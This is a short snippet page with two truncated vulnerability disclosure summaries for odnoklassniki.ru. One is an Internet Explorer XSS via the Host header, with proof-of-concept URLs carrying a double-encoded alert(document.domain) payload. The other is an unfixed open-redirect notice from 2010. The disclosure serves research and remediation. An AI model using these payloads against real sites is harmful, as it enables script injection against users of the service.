Mail.ru: [odnoklassniki.ru] XSS via Host

XSS через Host заголовок в браузере Internet Explorer с использованием ошибки перенаправления. PoC: http://blackfan.ru/x?r=http://odnoklassniki.ru%252f%253f%2523"alertdocument.domain" http://blackfan.ru/x?r=http://ok.ru%252f%253f%2523"alertdocument.domain" HTTP Response:...

Unfixed Redirect vulnerability at www.odnoklassniki.ru

Security researcher Rugburn, has submitted on 17/06/2010 a Redirect vulnerability affecting www.odnoklassniki.ru, which at the time of submission ranked 109 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 17/06/2010. It is currently unfixed. If...